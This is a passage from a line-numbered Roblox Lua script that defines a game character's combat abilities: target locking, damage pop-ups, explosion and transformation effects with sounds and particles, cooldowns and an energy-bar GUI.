1129 | ZTarget=hit.Parent.Torso | |
1130 | coroutine.resume(coroutine.create(function(Part) | |
1131 | swait(5) | |
1132 | end),ZTarget) | |
1133 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
1134 | targetgui=Instance.new("BillboardGui") | |
1135 | targetgui.Parent=ZTarget | |
1136 | targetgui.Size=UDim2.new(10,100,10,100) | |
1137 | targ=Instance.new("ImageLabel") | |
1138 | targ.Parent=targetgui | |
1139 | targ.BackgroundTransparency=1 | |
1140 | targ.Image="rbxassetid://4834067" | |
1141 | targ.Size=UDim2.new(1,0,1,0) | |
1142 | cam.CameraType="Scriptable" | |
1143 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1144 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1145 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1146 | Targetting=true | |
1147 | RocketTarget=ZTarget | |
1148 | for i=1,Property do | |
1149 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
1150 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
1151 | swait() | |
1152 | end | |
1153 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
1154 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1155 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1156 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
1157 | end | |
1158 | Targetting=false | |
1159 | RocketTarget=nil | |
1160 | targetgui.Parent=nil | |
1161 | cam.CameraType="Custom" | |
1162 | end | |
1163 | end | |
1164 | debounce=Instance.new("BoolValue") | |
1165 | debounce.Name="DebounceHit" | |
1166 | debounce.Parent=hit.Parent | |
1167 | debounce.Value=true | |
1168 | game:GetService("Debris"):AddItem(debounce,Delay) | |
1169 | c=Instance.new("ObjectValue") | |
1170 | c.Name="creator" | |
1171 | c.Value=Player | |
1172 | c.Parent=h | |
1173 | game:GetService("Debris"):AddItem(c,.5) | |
1174 | CRIT=false | |
1175 | hitDeb=true | |
1176 | AttackPos=6 | |
1177 | end | |
1178 | end | |
1179 | ||
1180 | showDamage=function(Char,Dealt,du,Color) | |
1181 | m=Instance.new("Model") | |
1182 | m.Name=tostring(Dealt) | |
1183 | h=Instance.new("Humanoid") | |
1184 | h.Health=0 | |
1185 | h.MaxHealth=0 | |
1186 | h.Parent=m | |
1187 | c=Instance.new("Part") | |
1188 | c.Transparency=0 | |
1189 | c.Material = "Neon" | |
1190 | c.BrickColor=bc("New Yeller") | |
1191 | c.Name="Head" | |
1192 | c.TopSurface=0 | |
1193 | c.BottomSurface=0 | |
1194 | local tick = Instance.new("Sound",c) | |
1195 | tick.SoundId = "rbxassetid://12221976" | |
1196 | tick.Volume = 5 | |
1197 | tick.Pitch = 4 | |
1198 | tick:Play() | |
1199 | c.formFactor="Plate" | |
1200 | c.Size=Vector3.new(1,.4,1) | |
1201 | ms=Instance.new("CylinderMesh") | |
1202 | ms.Scale=Vector3.new(.8,.8,.8) | |
1203 | if CRIT==true then | |
1204 | ms.Scale=Vector3.new(1,1.25,1) | |
1205 | end | |
1206 | ms.Parent=c | |
1207 | c.Reflectance=0 | |
1208 | Instance.new("BodyGyro").Parent=c | |
1209 | c.Parent=m | |
1210 | if Char:findFirstChild("Head")~=nil then | |
1211 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1212 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
1213 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1214 | end | |
1215 | f=Instance.new("BodyPosition") | |
1216 | f.P=2000 | |
1217 | f.D=100 | |
1218 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1219 | f.position=c.Position+Vector3.new(0,3,0) | |
1220 | f.Parent=c | |
1221 | game:GetService("Debris"):AddItem(m,.5+du) | |
1222 | c.CanCollide=false | |
1223 | m.Parent=workspace | |
1224 | c.CanCollide=false | |
1225 | p:Destroy() | |
1226 | end | |
1227 | ||
1228 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
1229 | for _, c in pairs(workspace:children()) do | |
1230 | local hum = c:findFirstChild("Humanoid") | |
1231 | if hum ~= nil then | |
1232 | local head = c:findFirstChild("Torso") | |
1233 | if head ~= nil then | |
1234 | local targ = head.Position - Part.Position | |
1235 | local mag = targ.magnitude | |
1236 | if mag <= magni and c.Name ~= Player.Name then | |
1237 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
1238 | end | |
1239 | end | |
1240 | end | |
1241 | end | |
1242 | end | |
1243 | ||
1244 | function Explode(rad,par) | |
1245 | local expart = Instance.new("Part",script.Parent) | |
1246 | local expart2 = Instance.new("Part",script.Parent) | |
1247 | local partMesh = Instance.new("SpecialMesh",expart) | |
1248 | partMesh.MeshType = "Sphere" | |
1249 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1250 | partMesh2.MeshType = "Sphere" | |
1251 | local expld = Instance.new("Explosion", script.Parent) | |
1252 | local plode = Instance.new("Sound",expart) | |
1253 | plode.SoundId = "rbxassetid://165970126" | |
1254 | plode.Volume = 1 | |
1255 | plode.Pitch = 1 | |
1256 | plode.Looped = false | |
1257 | plode:Play() | |
1258 | expld.BlastRadius = rad | |
1259 | expld.Position = par.Position | |
1260 | partMesh.Scale = vt(rad,rad,rad) | |
1261 | expart.Size = vt(1,1,1)*1.5 | |
1262 | expart.Transparency = 0 | |
1263 | expart.Anchored = true | |
1264 | expart.Material = "Neon" | |
1265 | expart.BrickColor = bc("Crimson") | |
1266 | expart.CFrame = par.CFrame | |
1267 | partMesh2.Scale = vt(rad,rad,rad) | |
1268 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1269 | expart2.Transparency = 0.5 | |
1270 | expart2.Anchored = true | |
1271 | expart2.Material = "Neon" | |
1272 | expart2.BrickColor = bc("New Yeller") | |
1273 | expart2.CFrame = par.CFrame | |
1274 | local value = 1*rad/6.5 | |
1275 | par:Destroy() | |
1276 | for i = 0, 100 do | |
1277 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1278 | expart.CFrame = expart.CFrame | |
1279 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1280 | expart2.CFrame = expart.CFrame | |
1281 | value = value - 0.035*rad/6.5 | |
1282 | if value < 1 then | |
1283 | value = 0.25 | |
1284 | expart.Transparency = expart.Transparency + 0.025 | |
1285 | expart2.Transparency = expart2.Transparency + 0.025 | |
1286 | end | |
1287 | wait() | |
1288 | end | |
1289 | plode.Parent = nil | |
1290 | expart.Parent = nil | |
1291 | expart2.Parent = nil | |
1292 | expld.Parent = nil | |
1293 | end | |
1294 | ||
1295 | function ExplodeMass(rad,par) | |
1296 | local expart = Instance.new("Part",script.Parent) | |
1297 | local expart2 = Instance.new("Part",script.Parent) | |
1298 | local partMesh = Instance.new("SpecialMesh",expart) | |
1299 | partMesh.MeshType = "Sphere" | |
1300 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1301 | partMesh2.MeshType = "Sphere" | |
1302 | local expld = Instance.new("Explosion", script.Parent) | |
1303 | local plode = Instance.new("Sound",workspace) | |
1304 | plode.SoundId = "rbxassetid://579687077" | |
1305 | plode.Volume = 1 | |
1306 | plode.Pitch = 0.85 | |
1307 | plode.Looped = false | |
1308 | plode:Play() | |
1309 | local plodez = Instance.new("Sound",workspace) | |
1310 | plodez.SoundId = "rbxassetid://288641686" | |
1311 | plodez.Volume = 1 | |
1312 | plodez.Pitch = 0.75 | |
1313 | plodez.Looped = false | |
1314 | plodez:Play() | |
1315 | local plodeza = Instance.new("Sound",workspace) | |
1316 | plodeza.SoundId = "rbxassetid://197161452" | |
1317 | plodeza.Volume = 0.85 | |
1318 | plodeza.Pitch = 0.65 | |
1319 | plodeza.Looped = false | |
1320 | plodeza:Play() | |
1321 | local plodezar = Instance.new("Sound",workspace) | |
1322 | plodezar.SoundId = "rbxassetid://197161452" | |
1323 | plodezar.Volume = 0.85 | |
1324 | plodezar.Pitch = 0.25 | |
1325 | plodezar.Looped = false | |
1326 | plodezar:Play() | |
1327 | expld.BlastRadius = rad | |
1328 | expld.Position = par.Position | |
1329 | wait(0.5) | |
1330 | par:Destroy() | |
1331 | plode.Parent = nil | |
1332 | expart.Parent = nil | |
1333 | expart2.Parent = nil | |
1334 | expld.Parent = nil | |
1335 | end | |
1336 | function ExplodeMassen(rad,par) | |
1337 | local expart = Instance.new("Part",script.Parent) | |
1338 | local expart2 = Instance.new("Part",script.Parent) | |
1339 | local partMesh = Instance.new("SpecialMesh",expart) | |
1340 | partMesh.MeshType = "Sphere" | |
1341 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1342 | partMesh2.MeshType = "Sphere" | |
1343 | local expld = Instance.new("Explosion", script.Parent) | |
1344 | local plode = Instance.new("Sound",workspace) | |
1345 | plode.SoundId = "rbxassetid://579687077" | |
1346 | plode.Volume = 1 | |
1347 | plode.Pitch = 0.85 | |
1348 | plode.Looped = false | |
1349 | plode:Play() | |
1350 | local plodez = Instance.new("Sound",workspace) | |
1351 | plodez.SoundId = "rbxassetid://288641686" | |
1352 | plodez.Volume = 1 | |
1353 | plodez.Pitch = 0.75 | |
1354 | plodez.Looped = false | |
1355 | plodez:Play() | |
1356 | local plodeza = Instance.new("Sound",workspace) | |
1357 | plodeza.SoundId = "rbxassetid://197161452" | |
1358 | plodeza.Volume = 0.85 | |
1359 | plodeza.Pitch = 0.65 | |
1360 | plodeza.Looped = false | |
1361 | plodeza:Play() | |
1362 | local plodezar = Instance.new("Sound",workspace) | |
1363 | plodezar.SoundId = "rbxassetid://197161452" | |
1364 | plodezar.Volume = 0.85 | |
1365 | plodezar.Pitch = 0.25 | |
1366 | plodezar.Looped = false | |
1367 | plodezar:Play() | |
1368 | expld.BlastRadius = rad | |
1369 | expld.Position = par.Position | |
1370 | partMesh.Scale = vt(rad,rad,rad) | |
1371 | expart.Size = vt(1,1,1)*1.5 | |
1372 | expart.Transparency = 0 | |
1373 | expart.Anchored = true | |
1374 | expart.Material = "Neon" | |
1375 | expart.BrickColor = bc("Crimson") | |
1376 | expart.CFrame = par.CFrame | |
1377 | partMesh2.Scale = vt(rad,rad,rad) | |
1378 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1379 | expart2.Transparency = 0.5 | |
1380 | expart2.Anchored = true | |
1381 | expart2.Material = "Neon" | |
1382 | expart2.BrickColor = tors.BrickColor | |
1383 | expart2.CFrame = par.CFrame | |
1384 | local value = 1*rad/10 | |
1385 | par:Destroy() | |
1386 | for i = 0, 300 do | |
1387 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1388 | expart.CFrame = expart.CFrame | |
1389 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1390 | expart2.CFrame = expart.CFrame | |
1391 | value = value - 0.0175*rad/10 | |
1392 | if value <= 0 then | |
1393 | expart.Transparency = expart.Transparency + 0.0125 | |
1394 | expart2.Transparency = expart2.Transparency + 0.0125 | |
1395 | value = 0.25 | |
1396 | end | |
1397 | wait() | |
1398 | end | |
1399 | plode.Parent = nil | |
1400 | expart.Parent = nil | |
1401 | expart2.Parent = nil | |
1402 | expld.Parent = nil | |
1403 | end | |
1404 | local Ultramode = false | |
1405 | ||
1406 | function Transform() | |
1407 | if basiccooldown >= 5 then | |
1408 | hum.WalkSpeed = 0 | |
1409 | local sparta = Instance.new("Part",workspace) | |
1410 | local msher = Instance.new("SpecialMesh",sparta) | |
1411 | msher.MeshType = "Sphere" | |
1412 | msher.Scale = vt(1,1,1) | |
1413 | wit = BrickColor.new("Really black").Color | |
1414 | local glowz = Instance.new("ParticleEmitter") | |
1415 | glowz.LightEmission = 1 | |
1416 | glowz.Parent = sparta | |
1417 | glowz.Texture = "rbxassetid://284205403" | |
1418 | glowz.Color = ColorSequence.new(wit) | |
1419 | glowz.Size = NumberSequence.new(15) | |
1420 | glowz.Speed = NumberRange.new(100,250) | |
1421 | glowz.LockedToPart = false | |
1422 | glowz.Transparency = NumberSequence.new(0.75) | |
1423 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1424 | glowz.Lifetime = NumberRange.new(1) | |
1425 | glowz.Rate = 50000 | |
1426 | glowz.VelocitySpread = 9001 | |
1427 | local sa2 = Instance.new("Sound",sparta) | |
1428 | sa2.SoundId = "rbxassetid://93724183" | |
1429 | sa2.Pitch = 0.5 | |
1430 | sa2.Volume = 5 | |
1431 | sa2.Looped = false | |
1432 | sa2:Play() | |
1433 | local saz2 = Instance.new("Sound",sparta) | |
1434 | saz2.SoundId = "rbxassetid://199145659" | |
1435 | saz2.Pitch = 0.45 | |
1436 | saz2.Volume = 5*2 | |
1437 | saz2.Looped = false | |
1438 | local plode = Instance.new("Sound",sparta) | |
1439 | plode.SoundId = "rbxassetid://153274423" | |
1440 | plode.Volume = 5 | |
1441 | plode.Pitch = 1 | |
1442 | plode.Looped = false | |
1443 | local ploder = Instance.new("Sound",sparta) | |
1444 | ploder.SoundId = "rbxassetid://130972023" | |
1445 | ploder.Volume = 5 | |
1446 | ploder.Pitch = 1 | |
1447 | ploder.Looped = false | |
1448 | sparta.Size = vt(1,1,1) | |
1449 | sparta.BrickColor = BrickColor.new("Really black") | |
1450 | sparta.Material = "Neon" | |
1451 | sparta.Transparency = 0 | |
1452 | sparta.Anchored = true | |
1453 | sparta.CanCollide = false | |
1454 | sparta.CFrame = tors.CFrame | |
1455 | sparta.Rotation = vt(0,0,0) | |
1456 | local value2 = 2 | |
1457 | for i = 0, 24 do | |
1458 | value2 = value2 - 0.065 | |
1459 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1460 | wait() | |
1461 | end | |
1462 | for i = 0, 10 do | |
1463 | value2 = value2 + 0.06575 | |
1464 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1465 | wait() | |
1466 | end | |
1467 | for i = 0, 10 do | |
1468 | value2 = value2 - 0.2 | |
1469 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1470 | wait() | |
1471 | end | |
1472 | for i = 0, 10 do | |
1473 | value2 = value2 + 0.275 | |
1474 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1475 | wait() | |
1476 | end | |
1477 | for i = 0, 10 do | |
1478 | value2 = value2 - 0.4 | |
1479 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1480 | wait() | |
1481 | end | |
1482 | for i = 0, 10 do | |
1483 | value2 = value2 + 0.475 | |
1484 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1485 | wait() | |
1486 | end | |
1487 | for i = 0, 10 do | |
1488 | value2 = value2 - 0.6 | |
1489 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1490 | wait() | |
1491 | end | |
1492 | for i = 0, 10 do | |
1493 | value2 = value2 + 0.675 | |
1494 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1495 | wait() | |
1496 | end | |
1497 | for i = 0, 10 do | |
1498 | value2 = value2 - 0.7 | |
1499 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1500 | wait() | |
1501 | end | |
1502 | for i = 0, 10 do | |
1503 | value2 = value2 + 0.775 | |
1504 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1505 | wait() | |
1506 | end | |
1507 | saz2:Play() | |
1508 | wait(2.75) | |
1509 | plode:Play() | |
1510 | ploder:Play() | |
1511 | Ultramode = true | |
1512 | for i = 0, 75 do | |
1513 | value2 = value2 - 0.0575 | |
1514 | glowz.Rate = 0 | |
1515 | sparta.Transparency = sparta.Transparency + 0.025 | |
1516 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1517 | wait() | |
1518 | end | |
1519 | hum.WalkSpeed = 16 | |
1520 | sparta:Destroy() | |
1521 | end | |
1522 | end | |
1523 | ||
1524 | ||
1525 | function Blaze2() | |
1526 | if ultcooldown >= 30 then | |
1527 | local sloc = Instance.new("Part",workspace) | |
1528 | local msh = Instance.new("SpecialMesh",sloc) | |
1529 | msh.MeshType = "Sphere" | |
1530 | sloc.Size = vt(1,1,1) | |
1531 | sloc.Transparency = 1 | |
1532 | sloc.BrickColor = tors.BrickColor | |
1533 | sloc.Position = hed.Position + vt(0,0.1,0) | |
1534 | sloc.CanCollide = false | |
1535 | sloc.Shape = "Ball" | |
1536 | sloc.Anchored = true | |
1537 | sloc.Material = "Neon" | |
1538 | local s = Instance.new("Sound",char) | |
1539 | s.SoundId = "rbxassetid://289315275" | |
1540 | s.Pitch = 1 | |
1541 | s.Volume = 2.75 | |
1542 | s.Looped = false | |
1543 | s:Play() | |
1544 | local s2 = Instance.new("Sound",char) | |
1545 | s2.SoundId = "rbxassetid://671759140" | |
1546 | s2.Pitch = 0.425 | |
1547 | s2.Volume = 1 | |
1548 | s2.Looped = false | |
1549 | s2:Play() | |
1550 | local val = 0.65*5 | |
1551 | for i = 0 , 75 do | |
1552 | sloc.Transparency = sloc.Transparency - 0.035 | |
1553 | msh.Scale = msh.Scale + vt(val,val,val) | |
1554 | val = val - 0.0075*5 | |
1555 | wait() | |
1556 | end | |
1557 | wait(2) | |
1558 | local sen = Instance.new("Sound",char) | |
1559 | sen.SoundId = "rbxassetid://289315275" | |
1560 | sen.Pitch = 1 | |
1561 | sen.Volume = 2.75 | |
1562 | sen.Looped = false | |
1563 | sen:Play() | |
1564 | local tick = Instance.new("Sound",char) | |
1565 | tick.SoundId = "rbxassetid://446876721" | |
1566 | tick.Volume = 2.5 | |
1567 | tick.Pitch = 0.5 | |
1568 | tick:Play() | |
1569 | msh.Scale = msh.Scale - vt(1,1,1) | |
1570 | sloc.Transparency = sloc.Transparency + 0.015 | |
1571 | local spart = Instance.new("Part",workspace) | |
1572 | local msh2 = Instance.new("SpecialMesh",spart) | |
1573 | msh2.MeshType = "Sphere" | |
1574 | spart.Size = vt(2,2,2) | |
1575 | spart.Shape = "Ball" | |
1576 | spart.BrickColor = tors.BrickColor | |
1577 | spart.Material = "Neon" | |
1578 | spart.Transparency = 0 | |
1579 | spart.Anchored = false | |
1580 | msh2.Scale = msh.Scale/2 | |
1581 | spart.Rotation = hed.Rotation | |
1582 | spart.CanCollide = false | |
1583 | spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0)) | |
1584 | local bv = Instance.new("BodyVelocity") | |
1585 | bv.maxForce = Vector3.new(1e9, 1e9, 1e9) | |
1586 | bv.velocity = mouse.Hit.lookVector * 125 | |
1587 | bv.Parent = spart | |
1588 | sloc:Destroy() | |
1589 | wait(0.00001) | |
1590 | pewdiepie=spart.Touched:connect(function(hit) | |
1591 | ExplodeMassen(100,spart) | |
1592 | end) | |
1593 | wait(5) | |
1594 | sloc:Destroy() | |
1595 | tick:Destroy() | |
1596 | s:Destroy() | |
1597 | sen:Destroy() | |
1598 | s2:Destroy() | |
1599 | end | |
1600 | if ultcooldown < 1 then | |
1601 | for i = 0, 29 do | |
1602 | ultcooldown = ultcooldown + 1 | |
1603 | wait(1) | |
1604 | end | |
1605 | end | |
1606 | end | |
1607 | ||
1608 | function Blaze() | |
1609 | if ultcooldown >= 30 then | |
1610 | local ff = Instance.new("ForceField",char) | |
1611 | local s = Instance.new("Sound",char) | |
1612 | s.SoundId = "rbxassetid://289315275" | |
1613 | s.Pitch = 1 | |
1614 | s.Volume = 2.75 | |
1615 | s.Looped = false | |
1616 | s:Play() | |
1617 | local s2 = Instance.new("Sound",char) | |
1618 | s2.SoundId = "rbxassetid://671759140" | |
1619 | s2.Pitch = 0.425 | |
1620 | s2.Volume = 1 | |
1621 | s2.Looped = false | |
1622 | s2:Play() | |
1623 | local spart = boll:Clone() | |
1624 | local spart2 = shur:Clone() | |
1625 | local msh = Instance.new("SpecialMesh",spart) | |
1626 | msh.MeshType = "Sphere" | |
1627 | spart.Parent = workspace | |
1628 | spart.Transparency = 1 | |
1629 | spart.Anchored = true | |
1630 | spart.Position = tors.Position + vt(0,1,0) | |
1631 | spart.Size = spart.Size + vt(1,1,1) | |
1632 | for i = 0, 10 do | |
1633 | spart.BrickColor = tors.BrickColor | |
1634 | spart.Transparency = spart.Transparency + -0.05 | |
1635 | spart.Position = tors.Position + vt(0,1,0) | |
1636 | spart.Size = spart.Size + vt(3,3,3) | |
1637 | wait(0) | |
1638 | end | |
1639 | for i = 0, 5 do | |
1640 | spart.BrickColor = tors.BrickColor | |
1641 | spart.Transparency = spart.Transparency + -0.05 | |
1642 | spart.Position = tors.Position + vt(0,1,0) | |
1643 | spart.Size = spart.Size + vt(2.5,2.5,2.5) | |
1644 | wait(0) | |
1645 | end | |
1646 | for i = 0, 5 do | |
1647 | spart.BrickColor = tors.BrickColor | |
1648 | spart.Transparency = spart.Transparency + -0.05 | |
1649 | spart.Position = tors.Position + vt(0,1,0) | |
1650 | spart.Size = spart.Size + vt(1,1,1) | |
1651 | wait(0) | |
1652 | end | |
1653 | for i = 0, 10 do | |
1654 | spart.BrickColor = tors.BrickColor | |
1655 | wait(0.1) | |
1656 | end | |
1657 | for i = 0, 20 do | |
1658 | spart.BrickColor = tors.BrickColor | |
1659 | spart.Transparency = spart.Transparency + 0.05 | |
1660 | spart.Position = tors.Position + vt(0,1,0) | |
1661 | spart.Size = spart.Size + vt(-5,-5,-5) | |
1662 | wait(0) | |
1663 | end | |
1664 | local sp = spart:Clone() | |
1665 | sp.Parent = workspace | |
1666 | sp.Position = spart.Position | |
1667 | local sp2 = sp:Clone() | |
1668 | sp2.Parent = workspace | |
1669 | sp2.Transparency = 0.5 | |
1670 | local msh2 = sp2.Mesh | |
1671 | msh2.Scale = vt(1250,1250,1250) | |
1672 | wit = tors.BrickColor.Color | |
1673 | local glowz = Instance.new("ParticleEmitter") | |
1674 | glowz.LightEmission = 0.75 | |
1675 | glowz.Parent = sp2 | |
1676 | glowz.Texture = "rbxassetid://284205403" | |
1677 | glowz.Color = ColorSequence.new(wit) | |
1678 | glowz.Size = NumberSequence.new(50) | |
1679 | glowz.Speed = NumberRange.new(425,450) | |
1680 | glowz.LockedToPart = false | |
1681 | glowz.Transparency = NumberSequence.new(0.75) | |
1682 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1683 | glowz.Lifetime = NumberRange.new(1) | |
1684 | glowz.Rate = 50000 | |
1685 | glowz.VelocitySpread = 9001 | |
1686 | spart2.Parent = workspace | |
1687 | spart2.Mesh.Scale = vt(25, 90000, 25) | |
1688 | spart2.Position = tors.Position | |
1689 | local seen = Instance.new("Sound",char) | |
1690 | seen.SoundId = "rbxassetid://445796828" | |
1691 | seen.Pitch = 0.75 | |
1692 | seen.Volume = 1.75 | |
1693 | seen.Looped = true | |
1694 | seen:Play() | |
1695 | local sen = Instance.new("Sound",char) | |
1696 | sen.SoundId = "rbxassetid://289315275" | |
1697 | sen.Pitch = 0.98 | |
1698 | sen.Volume = 2.65 | |
1699 | sen.Looped = false | |
1700 | sen:Play() | |
1701 | local tick = Instance.new("Sound",char) | |
1702 | tick.SoundId = "rbxassetid://446876721" | |
1703 | tick.Volume = 5 | |
1704 | tick.Pitch = 0.5 | |
1705 | tick:Play() | |
1706 | local seena = Instance.new("Sound",char) | |
1707 | seena.SoundId = "rbxassetid://300916057" | |
1708 | seena.Pitch = 0.5 | |
1709 | seena.Volume = 2.5 | |
1710 | seena.Looped = false | |
1711 | seena:Play() | |
1712 | spart.Transparency = 0 | |
1713 | ExplodeMass(1000,sp) | |
1714 | for i = 0, 450 do | |
1715 | spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1)) | |
1716 | sp2.Position = spart.Position | |
1717 | spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035) | |
1718 | spart2.BrickColor = tors.BrickColor | |
1719 | msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5) | |
1720 | msh.Scale = msh.Scale + vt(50,50,50) | |
1721 | sp2.Transparency = sp2.Transparency + 0.0005 | |
1722 | spart.Transparency = spart.Transparency + 0.0025 | |
1723 | spart2.Transparency = spart2.Transparency + 0.0025 | |
1724 | wait(0) | |
1725 | end | |
1726 | spart:Destroy() | |
1727 | seena:Destroy() | |
1728 | ff:Destroy() | |
1729 | seen:Destroy() | |
1730 | sen:Destroy() | |
1731 | tick:Destroy() | |
1732 | spart2:Destroy() | |
1733 | s:Destroy() | |
1734 | sp:Destroy() | |
1735 | sp2:Destroy() | |
1736 | s2:Destroy() | |
1737 | end | |
1738 | if ultcooldown < 1 then | |
1739 | for i = 0, 29 do | |
1740 | ultcooldown = ultcooldown + 1 | |
1741 | wait(1) | |
1742 | end | |
1743 | end | |
1744 | end | |
1745 | ||
1746 | -- sin | |
1747 | Player=game:GetService("Players").LocalPlayer | |
1748 | Character=Player.Character | |
1749 | PlayerGui=Player.PlayerGui | |
1750 | Backpack=Player.Backpack | |
1751 | Torso=Character.Torso | |
1752 | Head=Character.Head | |
1753 | Humanoid=Character.Humanoid | |
1754 | m=Instance.new('Model',Character) | |
1755 | LeftArm=Character["Left Arm"] | |
1756 | LeftLeg=Character["Left Leg"] | |
1757 | RightArm=Character["Right Arm"] | |
1758 | RightLeg=Character["Right Leg"] | |
1759 | LS=Torso["Left Shoulder"] | |
1760 | LH=Torso["Left Hip"] | |
1761 | RS=Torso["Right Shoulder"] | |
1762 | RH=Torso["Right Hip"] | |
1763 | Face = Head.face | |
1764 | Neck=Torso.Neck | |
1765 | it=Instance.new | |
1766 | attacktype=1 | |
1767 | vt=Vector3.new | |
1768 | cf=CFrame.new | |
1769 | euler=CFrame.fromEulerAnglesXYZ | |
1770 | angles=CFrame.Angles | |
1771 | cloaked=false | |
1772 | necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1773 | necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1774 | LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0) | |
1775 | LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0) | |
1776 | RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0) | |
1777 | RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0) | |
1778 | RootPart=Character.HumanoidRootPart | |
1779 | RootJoint=RootPart.RootJoint | |
1780 | RootCF=euler(-1.57,0,3.14) | |
1781 | attack = false | |
1782 | attackdebounce = false | |
1783 | deb=false | |
1784 | equipped=true | |
1785 | hand=false | |
1786 | MMouse=nil | |
1787 | combo=0 | |
1788 | mana=0 | |
1789 | trispeed=1 | |
1790 | pathtrans=.7 | |
1791 | attackmode='none' | |
1792 | local idle=0 | |
1793 | local Anim="Idle" | |
1794 | local Effects={} | |
1795 | local gun=false | |
1796 | local shoot=false | |
1797 | player=nil | |
1798 | cloak=false | |
1799 | lightcolor='Bright red' | |
1800 | ||
1801 | local Color1=BrickColor.new("Bright red") | |
1802 | ||
1803 | local fengui=it("GuiMain") | |
1804 | fengui.Parent=Player.PlayerGui | |
1805 | fengui.Name="WeaponGUI" | |
1806 | local fenframe=it("Frame") | |
1807 | fenframe.Parent=fengui | |
1808 | fenframe.BackgroundColor3=Color3.new(255,255,255) | |
1809 | fenframe.BackgroundTransparency=1 | |
1810 | fenframe.BorderColor3=Color3.new(17,17,17) | |
1811 | fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0) | |
1812 | fenframe.Position=UDim2.new(0.4,0,0.1,0) | |
1813 | local fenbarmana1=it("TextLabel") | |
1814 | fenbarmana1.Parent=fenframe | |
1815 | fenbarmana1.Text=" " | |
1816 | fenbarmana1.BackgroundTransparency=0 | |
1817 | fenbarmana1.BackgroundColor3=Color3.new(0,0,0) | |
1818 | fenbarmana1.SizeConstraint="RelativeXY" | |
1819 | fenbarmana1.TextXAlignment="Center" | |
1820 | fenbarmana1.TextYAlignment="Center" | |
1821 | fenbarmana1.Position=UDim2.new(0,0,0,0) | |
1822 | fenbarmana1.Size=UDim2.new(4,0,0.2,0) | |
1823 | local fenbarmana2=it("TextLabel") | |
1824 | fenbarmana2.Parent=fenframe | |
1825 | fenbarmana2.Text=" " | |
1826 | fenbarmana2.BackgroundTransparency=0 | |
1827 | fenbarmana2.BackgroundColor3=Torso.Color | |
1828 | fenbarmana2.SizeConstraint="RelativeXY" | |
1829 | fenbarmana2.TextXAlignment="Center" | |
1830 | fenbarmana2.TextYAlignment="Center" | |
1831 | fenbarmana2.Position=UDim2.new(0,0,0,0) | |
1832 | fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0) | |
1833 | local fenbarmana3=it("TextLabel") | |
1834 | fenbarmana3.Parent=fenframe | |
1835 | fenbarmana3.Text=" " | |
1836 | fenbarmana3.BackgroundTransparency=0 | |
1837 | fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3) | |
1838 | fenbarmana3.SizeConstraint="RelativeXY" | |
1839 | fenbarmana3.TextXAlignment="Center" | |
1840 | fenbarmana3.TextYAlignment="Center" | |
1841 | fenbarmana3.Position=UDim2.new(0,0,0,0) | |
1842 | fenbarmana3.Size=UDim2.new(0,0,0.2,0) | |
1843 | local fenbarmana4=it("TextLabel") | |
1844 | fenbarmana4.Parent=fenframe | |
1845 | fenbarmana4.Text="Energy("..mana..")" | |
1846 | fenbarmana4.BackgroundTransparency=1 | |
